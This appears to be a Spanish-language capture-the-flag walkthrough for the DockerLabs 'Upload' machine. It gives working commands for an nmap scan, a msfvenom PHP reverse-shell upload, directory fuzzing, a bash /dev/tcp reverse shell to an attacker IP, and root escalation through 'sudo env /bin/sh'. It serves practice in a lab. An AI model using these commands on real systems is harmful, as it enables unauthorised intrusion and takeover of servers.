Upload - DockerLabs
Esta maquina está clasificada como “Muy Facil” en la plataforma de DockerLabs, muy útil para practicar reverse shell y escalar privilegios mediante el uso de binarios
1- Enumeración
Comenzamos con la etapa de enumeración para ello vamos a usar la herramienta nmap con los siguientes parámetros
sudo nmap -p- --open -sS -sC -sV -n -Pn 172.17.0.2 -oN nmap.txt
Parametro | Descripción |
---|---|
-p- | Escanear todos los puertos |
–open | Mostrar los puertos abiertos |
-sS | Sondeo de tipo SYN sigiloso |
-sV | Habilita la detección de versiones |
-n | Sin resolución de DNS |
-Pn | Omitir el descubrimiento de hosts |
-oN | Formato de salida del archivo |
Finalizado el escaneo podemos ver que solo está abierto el puerto 80, con esto sabemos que corre el servicio Apache en dicho puerto
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-12 13:37 -03
Nmap scan report for 172.17.0.2
Host is up (0.000011s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Upload here your file
|_http-server-header: Apache/2.4.52 (Ubuntu)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.49 seconds
Procedemos a investigar en el navegador colocando la siguiente url http://172.17.0.2
Se puede observar que es una pagina para subir archivos, por lo tanto se intuye que el vector de ataque podría ser mediante una reverse shell en php, procedo a crear el archivo malicioso con la herramienta msfvenom
msfvenom -p php/reverse_php LHOST=192.168.0.200 LPORT=8081 -f raw > pwned.php
Parametro | Descripción |
---|---|
-p | tipo de payload |
LHOST | IP de la maquina atacante |
LPORT | Puerto a la escucha de la maquina atacante |
-f | formato de salida |
Procedo a subir el payload, me indica que el archivo se subió correctamente.
Ahora debo buscar donde se guardó el archivo pwned.php, por lo tanto procedo a realizar un fuzzing web con la herramienta gobuster
gobuster -n 404 -t 64 dir -u http://172.17.0.2/ -w /usr/share/dirbuster/wordlist/directoyry-list-lowercase-2.3-medium.txt -x txt,py,sh,php,html
Parametro | Descripcion |
---|---|
-n | No imprimir códigos de estado |
-t | cantidad de hilos en paralelo |
-u | URL |
-w | Ruta al diccionario |
-x | Extensiones de archivo a buscar |
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://172.17.0.2/
[+] Method: GET
[+] Threads: 64
[+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,html,txt,py,sh
[+] No status: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html [Size: 275]
/.php [Size: 275]
/uploads [Size: 310] [--> http://172.17.0.2/uploads/]
/upload.php [Size: 1357]
/index.html [Size: 1361]
/.html [Size: 275]
/.php [Size: 275]
/server-status [Size: 275]
Progress: 1245858 / 1245864 (100.00%)
===============================================================
Finished
===============================================================
Viendo el resultado queda al descubierto el directorio uploads procedo a ingresar la siguiente url http://172.17.0.2/uploads
Al ingresar se observa el archivo que había subido con anterioridad pwned.php
2- Intrusión
procedo a ponerme a la escucha en mi maquina atacante con netcat por el puerto 8081
con dicho puerto configuré el payload anteriormente
nc -nlvp 8081
Ahora doy click en el archivo pwned.php, el navegador se va a quedar como si estuviera cargando es buena señal
me fijo en la consola de mi maquina atacante y puedo ver que realizó la conexión con éxito ejecuto el comando whoami
y me devuelve el usuario www-data
intrusión realizada!
Nota:
El payload en msfvenom suele ser inestable y luego de un tiempo se cae la conexión por lo tanto es recomendable abrir otra terminal y ponerse a la escucha con un puerto diferente en la maquina donde ya tenemos la intrusión
nc -nlvp 4443
ahora se procede a enviar la reverse shell para eso se debe ir la pagina web revshell.com y copiar el siguiente comando
bash -c "sh -i >& /dev/tcp/192.168.0.200/4443 0>&1"
con esto se va adquirir una nueva shell mas estable
Tratamiento de la TTY
Antes de realizar la escalada de privilegios voy hacer el tratamiento de tty para poder estabilizar la shell
script /dev/null -c bash
presionamos ctrl + z
stty raw -echo; fg
luego escribimos
reset xterm
nota: es posible que no muestre en pantalla lo que estamos tecleando
export TERM=xterm
export SHELL=bash
3- Escalada de privilegios
Ya con la bash mas estable es momento de escalar privilegios a root para ellos voy a ejecutar el siguiente comando sudo -l
para listar los permisos de sudo que tiene el usuario actual en el sistema.
En este caso se observa que se puede ejecutar el binario /usr/bin/env
como el usuario root, sin proporcionar contraseña. Por lo tanto se procede a investigar en la pagina GTFOBins como explotar este binario
ejecutamos el comando
sudo env /bin/sh
Listo! se logró escalar privilegios al usuario root